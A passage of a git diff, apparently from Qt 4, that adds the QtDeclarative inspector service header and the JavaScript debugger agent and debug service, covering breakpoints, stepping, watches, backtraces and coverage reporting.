+ qobject_cast<QDeclarativeInspectorInterface*>(loader.instance());
+
+ if (inspector)
+ return inspector;
+ loader.unload();
+ }
+ return 0;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/debugger/qdeclarativeinspectorservice_p.h b/src/declarative/debugger/qdeclarativeinspectorservice_p.h
new file mode 100644
index 00000000..623e850a
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativeinspectorservice_p.h
@@ -0,0 +1,93 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEOBSERVERSERVICE_H
+#define QDECLARATIVEOBSERVERSERVICE_H
+
+#include "private/qdeclarativedebugservice_p.h"
+#include <private/qdeclarativeglobal_p.h>
+
+#include <QtCore/QList>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeView;
+class QDeclarativeInspectorInterface;
+
+class Q_DECLARATIVE_EXPORT QDeclarativeInspectorService : public QDeclarativeDebugService
+{
+ Q_OBJECT
+
+public:
+ QDeclarativeInspectorService();
+ static QDeclarativeInspectorService *instance();
+
+ void addView(QDeclarativeView *);
+ void removeView(QDeclarativeView *);
+ QList<QDeclarativeView*> views() const { return m_views; }
+
+ void sendMessage(const QByteArray &message);
+
+Q_SIGNALS:
+ void gotMessage(const QByteArray &message);
+
+protected:
+ virtual void statusChanged(Status status);
+ virtual void messageReceived(const QByteArray &);
+
+private:
+ void updateStatus();
+
+ static QDeclarativeInspectorInterface *loadInspectorPlugin();
+
+ QList<QDeclarativeView*> m_views;
+ QDeclarativeInspectorInterface *m_inspectorPlugin;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEOBSERVERSERVICE_H
diff --git a/src/declarative/debugger/qjsdebuggeragent.cpp b/src/declarative/debugger/qjsdebuggeragent.cpp
new file mode 100644
index 00000000..9935ab11
--- /dev/null
+++ b/src/declarative/debugger/qjsdebuggeragent.cpp
@@ -0,0 +1,614 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qjsdebuggeragent_p.h"
+#include "private/qdeclarativedebughelper_p.h"
+#include "private/qjsdebugservice_p.h"
+
+#include <QtCore/qdatetime.h>
+#include <QtCore/qcoreapplication.h>
+#include <QtCore/qset.h>
+#include <QtCore/qurl.h>
+#include <QtScript/qscriptcontextinfo.h>
+#include <QtScript/qscriptengine.h>
+#include <QtScript/qscriptvalueiterator.h>
+
+QT_BEGIN_NAMESPACE
+
+class QJSDebuggerAgentPrivate
+{
+public:
+ QJSDebuggerAgentPrivate(QJSDebuggerAgent *q)
+ : q(q), state(NoState), isInitialized(false), coverageEnabled(false)
+ {}
+
+ void continueExec();
+ void recordKnownObjects(const QList<JSAgentWatchData> &);
+ QList<JSAgentWatchData> getLocals(QScriptContext *);
+ void positionChange(qint64 scriptId, int lineNumber, int columnNumber);
+ QScriptEngine *engine() { return q->engine(); }
+ void stopped();
+
+public:
+ QJSDebuggerAgent *q;
+ JSDebuggerState state;
+ int stepDepth;
+ int stepCount;
+
+ QEventLoop loop;
+ QHash<qint64, QString> filenames;
+ JSAgentBreakpoints breakpoints;
+ // breakpoints by filename (without path)
+ QHash<QString, JSAgentBreakpointData> fileNameToBreakpoints;
+ QStringList watchExpressions;
+ QSet<qint64> knownObjectIds;
+ bool isInitialized;
+ bool coverageEnabled;
+};
+
+namespace {
+
+class SetupExecEnv
+{
+public:
+ SetupExecEnv(QJSDebuggerAgentPrivate *a)
+ : agent(a),
+ previousState(a->state),
+ hadException(a->engine()->hasUncaughtException())
+ {
+ agent->state = StoppedState;
+ }
+
+ ~SetupExecEnv()
+ {
+ if (!hadException && agent->engine()->hasUncaughtException())
+ agent->engine()->clearExceptions();
+ agent->state = previousState;
+ }
+
+private:
+ QJSDebuggerAgentPrivate *agent;
+ JSDebuggerState previousState;
+ bool hadException;
+};
+
+} // anonymous namespace
+
+static JSAgentWatchData fromScriptValue(const QString &expression,
+ const QScriptValue &value)
+{
+ static const QString arrayStr = QCoreApplication::translate
+ ("Debugger::JSAgentWatchData", "[Array of length %1]");
+ static const QString undefinedStr = QCoreApplication::translate
+ ("Debugger::JSAgentWatchData", "<undefined>");
+
+ JSAgentWatchData data;
+ data.exp = expression.toUtf8();
+ data.name = data.exp;
+ data.hasChildren = false;
+ data.value = value.toString().toUtf8();
+ data.objectId = value.objectId();
+ if (value.isArray()) {
+ data.type = "Array";
+ data.value = arrayStr.arg(value.property(QLatin1String("length")).toString()).toUtf8();
+ data.hasChildren = true;
+ } else if (value.isBool()) {
+ data.type = "Bool";
+ // data.value = value.toBool() ? "true" : "false";
+ } else if (value.isDate()) {
+ data.type = "Date";
+ data.value = value.toDateTime().toString().toUtf8();
+ } else if (value.isError()) {
+ data.type = "Error";
+ } else if (value.isFunction()) {
+ data.type = "Function";
+ } else if (value.isUndefined()) {
+ data.type = undefinedStr.toUtf8();
+ } else if (value.isNumber()) {
+ data.type = "Number";
+ } else if (value.isRegExp()) {
+ data.type = "RegExp";
+ } else if (value.isString()) {
+ data.type = "String";
+ } else if (value.isVariant()) {
+ data.type = "Variant";
+ } else if (value.isQObject()) {
+ const QObject *obj = value.toQObject();
+ data.type = "Object";
+ data.value += '[';
+ data.value += obj->metaObject()->className();
+ data.value += ']';
+ data.hasChildren = true;
+ } else if (value.isObject()) {
+ data.type = "Object";
+ data.hasChildren = true;
+ data.value = "[Object]";
+ } else if (value.isNull()) {
+ data.type = "<null>";
+ } else {
+ data.type = "<unknown>";
+ }
+ return data;
+}
+
+static QList<JSAgentWatchData> expandObject(const QScriptValue &object)
+{
+ QList<JSAgentWatchData> result;
+ QScriptValueIterator it(object);
+ while (it.hasNext()) {
+ it.next();
+ if (it.flags() & QScriptValue::SkipInEnumeration)
+ continue;
+ if (/*object.isQObject() &&*/ it.value().isFunction()) {
+ // Cosmetics: skip all functions and slot, there are too many of them,
+ // and it is not useful information in the debugger.
+ continue;
+ }
+ JSAgentWatchData data = fromScriptValue(it.name(), it.value());
+ result.append(data);
+ }
+ if (result.isEmpty()) {
+ JSAgentWatchData data;
+ data.name = "<no initialized data>";
+ data.hasChildren = false;
+ data.value = " ";
+ data.objectId = 0;
+ result.append(data);
+ }
+ return result;
+}
+
+static QString fileName(const QString &fileUrl)
+{
+ int lastDelimiterPos = fileUrl.lastIndexOf(QLatin1Char('/'));
+ return fileUrl.mid(lastDelimiterPos, fileUrl.size() - lastDelimiterPos);
+}
+
+void QJSDebuggerAgentPrivate::recordKnownObjects(const QList<JSAgentWatchData>& list)
+{
+ foreach (const JSAgentWatchData &data, list)
+ knownObjectIds << data.objectId;
+}
+
+QList<JSAgentWatchData> QJSDebuggerAgentPrivate::getLocals(QScriptContext *ctx)
+{
+ QList<JSAgentWatchData> locals;
+ if (ctx) {
+ QScriptValue activationObject = ctx->activationObject();
+ QScriptValue thisObject = ctx->thisObject();
+ locals = expandObject(activationObject);
+ if (thisObject.isObject()
+ && thisObject.objectId() != engine()->globalObject().objectId()
+ && QScriptValueIterator(thisObject).hasNext())
+ locals.prepend(fromScriptValue(QLatin1String("this"), thisObject));
+ recordKnownObjects(locals);
+ knownObjectIds << activationObject.objectId();
+ }
+ return locals;
+}
+
+/*!
+ Constructs a new agent for the given \a engine. The agent will
+ report debugging-related events (e.g. step completion) to the given
+ \a backend.
+*/
+QJSDebuggerAgent::QJSDebuggerAgent(QScriptEngine *engine, QObject *parent)
+ : QObject(parent)
+ , QScriptEngineAgent(engine)
+ , d(new QJSDebuggerAgentPrivate(this))
+{
+ QJSDebuggerAgent::engine()->setAgent(this);
+}
+
+QJSDebuggerAgent::QJSDebuggerAgent(QDeclarativeEngine *engine, QObject *parent)
+ : QObject(parent)
+ , QScriptEngineAgent(QDeclarativeDebugHelper::getScriptEngine(engine))
+ , d(new QJSDebuggerAgentPrivate(this))
+{
+ QJSDebuggerAgent::engine()->setAgent(this);
+}
+
+/*!
+ Destroys this QJSDebuggerAgent.
+*/
+QJSDebuggerAgent::~QJSDebuggerAgent()
+{
+ engine()->setAgent(0);
+ delete d;
+}
+
+/*!
+ Indicates whether the agent got the list of breakpoints.
+ */
+bool QJSDebuggerAgent::isInitialized() const
+{
+ return d->isInitialized;
+}
+
+void QJSDebuggerAgent::setCoverageEnabled(bool enabled)
+{
+ d->isInitialized = true;
+ d->coverageEnabled = enabled;
+}
+
+void QJSDebuggerAgent::setBreakpoints(const JSAgentBreakpoints &breakpoints)
+{
+ d->breakpoints = breakpoints;
+
+ d->fileNameToBreakpoints.clear();
+ foreach (const JSAgentBreakpointData &bp, breakpoints)
+ d->fileNameToBreakpoints.insertMulti(fileName(QString::fromUtf8(bp.fileUrl)), bp);
+
+ d->isInitialized = true;
+}
+
+void QJSDebuggerAgent::setWatchExpressions(const QStringList &watchExpressions)
+{
+ d->watchExpressions = watchExpressions;
+}
+
+void QJSDebuggerAgent::stepOver()
+{
+ d->stepDepth = 0;
+ d->state = SteppingOverState;
+ d->continueExec();
+}
+
+void QJSDebuggerAgent::stepInto()
+{
+ d->stepDepth = 0;
+ d->state = SteppingIntoState;
+ d->continueExec();
+}
+
+void QJSDebuggerAgent::stepOut()
+{
+ d->stepDepth = 0;
+ d->state = SteppingOutState;
+ d->continueExec();
+}
+
+void QJSDebuggerAgent::continueExecution()
+{
+ d->state = NoState;
+ d->continueExec();
+}
+
+JSAgentWatchData QJSDebuggerAgent::executeExpression(const QString &expr)
+{
+ SetupExecEnv execEnv(d);
+
+ JSAgentWatchData data = fromScriptValue(expr, engine()->evaluate(expr));
+ d->knownObjectIds << data.objectId;
+ return data;
+}
+
+QList<JSAgentWatchData> QJSDebuggerAgent::expandObjectById(quint64 objectId)
+{
+ SetupExecEnv execEnv(d);
+
+ QScriptValue v;
+ if (d->knownObjectIds.contains(objectId))
+ v = engine()->objectById(objectId);
+
+ QList<JSAgentWatchData> result = expandObject(v);
+ d->recordKnownObjects(result);
+ return result;
+}
+
+QList<JSAgentWatchData> QJSDebuggerAgent::locals()
+{
+ SetupExecEnv execEnv(d);
+ return d->getLocals(engine()->currentContext());
+}
+
+QList<JSAgentWatchData> QJSDebuggerAgent::localsAtFrame(int frameId)
+{
+ SetupExecEnv execEnv(d);
+
+ int deep = 0;
+ QScriptContext *ctx = engine()->currentContext();
+ while (ctx && deep < frameId) {
+ ctx = ctx->parentContext();
+ deep++;
+ }
+
+ return d->getLocals(ctx);
+}
+
+QList<JSAgentStackData> QJSDebuggerAgent::backtrace()
+{
+ SetupExecEnv execEnv(d);
+
+ QList<JSAgentStackData> backtrace;
+
+ for (QScriptContext *ctx = engine()->currentContext(); ctx; ctx = ctx->parentContext()) {
+ QScriptContextInfo info(ctx);
+
+ JSAgentStackData frame;
+ frame.functionName = info.functionName().toUtf8();
+ if (frame.functionName.isEmpty()) {
+ if (ctx->parentContext()) {
+ switch (info.functionType()) {
+ case QScriptContextInfo::ScriptFunction:
+ frame.functionName = "<anonymous>";
+ break;
+ case QScriptContextInfo::NativeFunction:
+ frame.functionName = "<native>";
+ break;
+ case QScriptContextInfo::QtFunction:
+ case QScriptContextInfo::QtPropertyFunction:
+ frame.functionName = "<native slot>";
+ break;
+ }
+ } else {
+ frame.functionName = "<global>";
+ }
+ }
+ frame.lineNumber = info.lineNumber();
+ // if the line number is unknown, fallback to the function line number
+ if (frame.lineNumber == -1)
+ frame.lineNumber = info.functionStartLineNumber();
+
+ frame.fileUrl = info.fileName().toUtf8();
+ backtrace.append(frame);
+ }
+
+ return backtrace;
+}
+
+QList<JSAgentWatchData> QJSDebuggerAgent::watches()
+{
+ SetupExecEnv execEnv(d);
+
+ QList<JSAgentWatchData> watches;
+ foreach (const QString &expr, d->watchExpressions)
+ watches << fromScriptValue(expr, engine()->evaluate(expr));
+ d->recordKnownObjects(watches);
+ return watches;
+}
+
+void QJSDebuggerAgent::setProperty(qint64 objectId,
+ const QString &property,
+ const QString &value)
+{
+ SetupExecEnv execEnv(d);
+
+ if (d->knownObjectIds.contains(objectId)) {
+ QScriptValue object = engine()->objectById(objectId);
+ if (object.isObject()) {
+ QScriptValue result = engine()->evaluate(value);
+ object.setProperty(property, result);
+ }
+ }
+}
+
+/*!
+ \reimp
+*/
+void QJSDebuggerAgent::scriptLoad(qint64 id, const QString &program,
+ const QString &fileName, int baseLineNumber)
+{
+ d->filenames.insert(id, fileName);
+
+ if (d->coverageEnabled) {
+ JSAgentCoverageData rd = {"COVERAGE", QJSDebugService::instance()->m_timer.elapsed(), (int)CoverageScriptLoad,
+ id, program, fileName, baseLineNumber,
+ 0, 0, QString()};
+ QJSDebugService::instance()->processMessage(rd);
+ }
+}
+
+/*!
+ \reimp
+*/
+void QJSDebuggerAgent::scriptUnload(qint64 id)
+{
+ d->filenames.remove(id);
+}
+
+/*!
+ \reimp
+*/
+void QJSDebuggerAgent::contextPush()
+{
+}
+
+/*!
+ \reimp
+*/
+void QJSDebuggerAgent::contextPop()
+{
+}
+
+/*!
+ \reimp
+*/
+void QJSDebuggerAgent::functionEntry(qint64 scriptId)
+{
+ d->stepDepth++;
+
+ if (d->coverageEnabled) {
+ JSAgentCoverageData rd = {"COVERAGE", QJSDebugService::instance()->m_timer.elapsed(), (int)CoverageFuncEntry,
+ scriptId, QString(), QString(), 0, 0, 0, QString()};
+ QJSDebugService::instance()->processMessage(rd);
+ QJSDebugService::instance()->m_timer.restart();
+ }
+}
+
+/*!
+ \reimp
+*/
+void QJSDebuggerAgent::functionExit(qint64 scriptId, const QScriptValue &returnValue)
+{
+ d->stepDepth--;
+
+ if (d->coverageEnabled) {
+ JSAgentCoverageData rd = {"COVERAGE", QJSDebugService::instance()->m_timer.elapsed(), (int)CoverageFuncExit,
+ scriptId, QString(), QString(), 0, 0, 0, returnValue.toString()};
+ QJSDebugService::instance()->processMessage(rd);
+ }
+}
+
+/*!
+ \reimp
+*/
+void QJSDebuggerAgent::positionChange(qint64 scriptId, int lineNumber, int columnNumber)
+{
+ d->positionChange(scriptId, lineNumber, columnNumber);
+
+ if (d->coverageEnabled) {
+ JSAgentCoverageData rd = {"COVERAGE", QJSDebugService::instance()->m_timer.elapsed(), (int)CoveragePosChange,
+ scriptId, QString(), QString(), 0, lineNumber, columnNumber, QString()};
+ QJSDebugService::instance()->processMessage(rd);
+ }
+}
+
+void QJSDebuggerAgentPrivate::positionChange(qint64 scriptId, int lineNumber, int columnNumber)
+{
+ Q_UNUSED(columnNumber);
+
+ if (state == StoppedState)
+ return; //no re-entrency
+
+ // check breakpoints
+ if (!breakpoints.isEmpty()) {
+ const QScriptContext *ctx = engine()->currentContext();
+ const QScriptContextInfo info(ctx);
+
+ if (info.functionType() == QScriptContextInfo::ScriptFunction) {
+ QHash<qint64, QString>::const_iterator it = filenames.constFind(scriptId);
+ // It is possible that the scripts are loaded before the agent is attached
+ if (it == filenames.constEnd()) {
+ it = filenames.insert(scriptId, info.fileName());
+ }
+
+ const QString filePath = it.value();
+ const JSAgentBreakpoints bps = fileNameToBreakpoints.values(fileName(filePath)).toSet();
+
+ foreach (const JSAgentBreakpointData &bp, bps) {
+ if (bp.lineNumber == lineNumber) {
+ stopped();
+ return;
+ }
+ }
+ }
+ }
+
+ switch (state) {
+ case NoState:
+ case StoppedState:
+ // Do nothing
+ break;
+ case SteppingOutState:
+ if (stepDepth >= 0)
+ break;
+ //fallthough
+ case SteppingOverState:
+ if (stepDepth > 0)
+ break;
+ //fallthough
+ case SteppingIntoState:
+ stopped();
+ break;
+ }
+
+}
+
+/*!
+ \reimp
+*/
+void QJSDebuggerAgent::exceptionThrow(qint64 scriptId,
+ const QScriptValue &exception,
+ bool hasHandler)
+{
+ Q_UNUSED(scriptId);
+ Q_UNUSED(exception);
+ Q_UNUSED(hasHandler);
+// qDebug() << Q_FUNC_INFO << exception.toString() << hasHandler;
+#if 0 //sometimes, we get exceptions that we should just ignore.
+ if (!hasHandler && state != StoppedState)
+ stopped(true, exception);
+#endif
+}
+
+/*!
+ \reimp
+*/
+void QJSDebuggerAgent::exceptionCatch(qint64 scriptId, const QScriptValue &exception)
+{
+ Q_UNUSED(scriptId);
+ Q_UNUSED(exception);
+}
+
+bool QJSDebuggerAgent::supportsExtension(Extension extension) const
+{
+ return extension == QScriptEngineAgent::DebuggerInvocationRequest;
+}
+
+QVariant QJSDebuggerAgent::extension(Extension extension, const QVariant &argument)
+{
+ if (extension == QScriptEngineAgent::DebuggerInvocationRequest) {
+ d->stopped();
+ return QVariant();
+ }
+ return QScriptEngineAgent::extension(extension, argument);
+}
+
+void QJSDebuggerAgentPrivate::stopped()
+{
+ bool becauseOfException = false;
+ const QScriptValue &exception = QScriptValue();
+
+ knownObjectIds.clear();
+ state = StoppedState;
+
+ emit q->stopped(becauseOfException, exception.toString());
+
+ loop.exec(QEventLoop::ExcludeUserInputEvents);
+}
+
+void QJSDebuggerAgentPrivate::continueExec()
+{
+ loop.quit();
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/debugger/qjsdebuggeragent_p.h b/src/declarative/debugger/qjsdebuggeragent_p.h
new file mode 100644
index 00000000..a4ffc187
--- /dev/null
+++ b/src/declarative/debugger/qjsdebuggeragent_p.h
@@ -0,0 +1,229 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QJSDEBUGGERAGENT_P_H
+#define QJSDEBUGGERAGENT_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtScript/qscriptengineagent.h>
+#include <QtCore/qset.h>
+
+QT_BEGIN_NAMESPACE
+class QScriptValue;
+class QDeclarativeEngine;
+QT_END_NAMESPACE
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QJSDebuggerAgentPrivate;
+
+enum JSDebuggerState
+{
+ NoState,
+ SteppingIntoState,
+ SteppingOverState,
+ SteppingOutState,
+ StoppedState
+};
+
+enum JSCoverageMessage {
+ CoverageLocation,
+ CoverageScriptLoad,
+ CoveragePosChange,
+ CoverageFuncEntry,
+ CoverageFuncExit,
+ CoverageComplete,
+
+ CoverageMaximumMessage
+};
+
+struct JSAgentWatchData
+{
+ QByteArray exp;
+ QByteArray name;
+ QByteArray value;
+ QByteArray type;
+ bool hasChildren;
+ quint64 objectId;
+};
+
+inline QDataStream &operator<<(QDataStream &s, const JSAgentWatchData &data)
+{
+ return s << data.exp << data.name << data.value
+ << data.type << data.hasChildren << data.objectId;
+}
+
+inline QDataStream &operator>>(QDataStream &s, JSAgentWatchData &data)
+{
+ return s >> data.exp >> data.name >> data.value
+ >> data.type >> data.hasChildren >> data.objectId;
+}
+
+struct JSAgentStackData
+{
+ QByteArray functionName;
+ QByteArray fileUrl;
+ qint32 lineNumber;
+};
+
+inline QDataStream &operator<<(QDataStream &s, const JSAgentStackData &data)
+{
+ return s << data.functionName << data.fileUrl << data.lineNumber;
+}
+
+inline QDataStream &operator>>(QDataStream &s, JSAgentStackData &data)
+{
+ return s >> data.functionName >> data.fileUrl >> data.lineNumber;
+}
+
+struct JSAgentBreakpointData
+{
+ QByteArray functionName;
+ QByteArray fileUrl;
+ qint32 lineNumber;
+};
+
+typedef QSet<JSAgentBreakpointData> JSAgentBreakpoints;
+
+inline QDataStream &operator<<(QDataStream &s, const JSAgentBreakpointData &data)
+{
+ return s << data.functionName << data.fileUrl << data.lineNumber;
+}
+
+inline QDataStream &operator>>(QDataStream &s, JSAgentBreakpointData &data)
+{
+ return s >> data.functionName >> data.fileUrl >> data.lineNumber;
+}
+
+inline bool operator==(const JSAgentBreakpointData &b1, const JSAgentBreakpointData &b2)
+{
+ return b1.lineNumber == b2.lineNumber && b1.fileUrl == b2.fileUrl;
+}
+
+inline uint qHash(const JSAgentBreakpointData &b)
+{
+ return b.lineNumber ^ qHash(b.fileUrl);
+}
+
+
+class QJSDebuggerAgent : public QObject, public QScriptEngineAgent
+{
+ Q_OBJECT
+
+public:
+ QJSDebuggerAgent(QScriptEngine *engine, QObject *parent = 0);
+ QJSDebuggerAgent(QDeclarativeEngine *engine, QObject *parent = 0);
+ ~QJSDebuggerAgent();
+
+ bool isInitialized() const;
+
+ void setBreakpoints(const JSAgentBreakpoints &);
+ void setWatchExpressions(const QStringList &);
+
+ void stepOver();
+ void stepInto();
+ void stepOut();
+ void continueExecution();
+ void setCoverageEnabled(bool enabled);
+
+ JSAgentWatchData executeExpression(const QString &expr);
+ QList<JSAgentWatchData> expandObjectById(quint64 objectId);
+ QList<JSAgentWatchData> locals();
+ QList<JSAgentWatchData> localsAtFrame(int frameId);
+ QList<JSAgentStackData> backtrace();
+ QList<JSAgentWatchData> watches();
+ void setProperty(qint64 objectId,
+ const QString &property,
+ const QString &value);
+
+ // reimplemented
+ void scriptLoad(qint64 id, const QString &program,
+ const QString &fileName, int baseLineNumber);
+ void scriptUnload(qint64 id);
+
+ void contextPush();
+ void contextPop();
+
+ void functionEntry(qint64 scriptId);
+ void functionExit(qint64 scriptId,
+ const QScriptValue &returnValue);
+
+ void positionChange(qint64 scriptId,
+ int lineNumber, int columnNumber);
+
+ void exceptionThrow(qint64 scriptId,
+ const QScriptValue &exception,
+ bool hasHandler);
+ void exceptionCatch(qint64 scriptId,
+ const QScriptValue &exception);
+
+ bool supportsExtension(Extension extension) const;
+ QVariant extension(Extension extension,
+ const QVariant &argument = QVariant());
+
+Q_SIGNALS:
+ void stopped(bool becauseOfException,
+ const QString &exception);
+
+private:
+ friend class QJSDebuggerAgentPrivate;
+ QJSDebuggerAgentPrivate *d;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QJSDEBUGGERAGENT_P_H
diff --git a/src/declarative/debugger/qjsdebugservice.cpp b/src/declarative/debugger/qjsdebugservice.cpp
new file mode 100644
index 00000000..686710dc
--- /dev/null
+++ b/src/declarative/debugger/qjsdebugservice.cpp
@@ -0,0 +1,259 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qjsdebugservice_p.h"
+#include "private/qjsdebuggeragent_p.h"
+
+#include <QtCore/qdatastream.h>
+#include <QtCore/qdebug.h>
+#include <QtCore/qstringlist.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+
+Q_GLOBAL_STATIC(QJSDebugService, serviceInstance)
+
+// convert to a QByteArray that can be sent to the debug client
+QByteArray JSAgentCoverageData::toByteArray() const
+{
+ QByteArray data;
+ //### using QDataStream is relatively expensive
+ QDataStream ds(&data, QIODevice::WriteOnly);
+ ds << prefix << time << messageType << scriptId << program << fileName << baseLineNumber
+ << lineNumber << columnNumber << returnValue;
+ return data;
+}
+
+QJSDebugService::QJSDebugService(QObject *parent)
+ : QDeclarativeDebugService(QLatin1String("JSDebugger"), parent)
+ , m_agent(0), m_deferredSend(true)
+{
+ m_timer.start();
+}
+
+QJSDebugService::~QJSDebugService()
+{
+ delete m_agent;
+}
+
+QJSDebugService *QJSDebugService::instance()
+{
+ return serviceInstance();
+}
+
+void QJSDebugService::addEngine(QDeclarativeEngine *engine)
+{
+ Q_ASSERT(engine);
+ Q_ASSERT(!m_engines.contains(engine));
+
+ m_engines.append(engine);
+
+ if (status() == Enabled && !m_engines.isEmpty() && !m_agent) {
+ m_agent = new QJSDebuggerAgent(engine, engine);
+ connect(m_agent, SIGNAL(stopped(bool,QString)),
+ this, SLOT(executionStopped(bool,QString)));
+
+ while (!m_agent->isInitialized()) {
+ waitForMessage();
+ }
+ }
+}
+
+void QJSDebugService::removeEngine(QDeclarativeEngine *engine)
+{
+ Q_ASSERT(engine);
+ Q_ASSERT(m_engines.contains(engine));
+
+ m_engines.removeAll(engine);
+}
+
+void QJSDebugService::statusChanged(Status status)
+{
+ if (status == Enabled && !m_engines.isEmpty() && !m_agent) {
+ // Multiple engines are currently unsupported
+ QDeclarativeEngine *engine = m_engines.first();
+ m_agent = new QJSDebuggerAgent(engine, engine);
+
+ connect(m_agent, SIGNAL(stopped(bool,QString)),
+ this, SLOT(executionStopped(bool,QString)));
+
+ } else if (status != Enabled && m_agent) {
+ delete m_agent;
+ m_agent = 0;
+ }
+}
+
+void QJSDebugService::messageReceived(const QByteArray &message)
+{
+ if (!m_agent) {
+ qWarning() << "QJSDebugService::messageReceived: No QJSDebuggerAgent available";
+ return;
+ }
+
+ QDataStream ds(message);
+ QByteArray command;
+ ds >> command;
+ if (command == "BREAKPOINTS") {
+ JSAgentBreakpoints breakpoints;
+ ds >> breakpoints;
+ m_agent->setBreakpoints(breakpoints);
+
+ //qDebug() << "BREAKPOINTS";
+ //foreach (const JSAgentBreakpointData &bp, breakpoints)
+ // qDebug() << "BREAKPOINT: " << bp.fileUrl << bp.lineNumber;
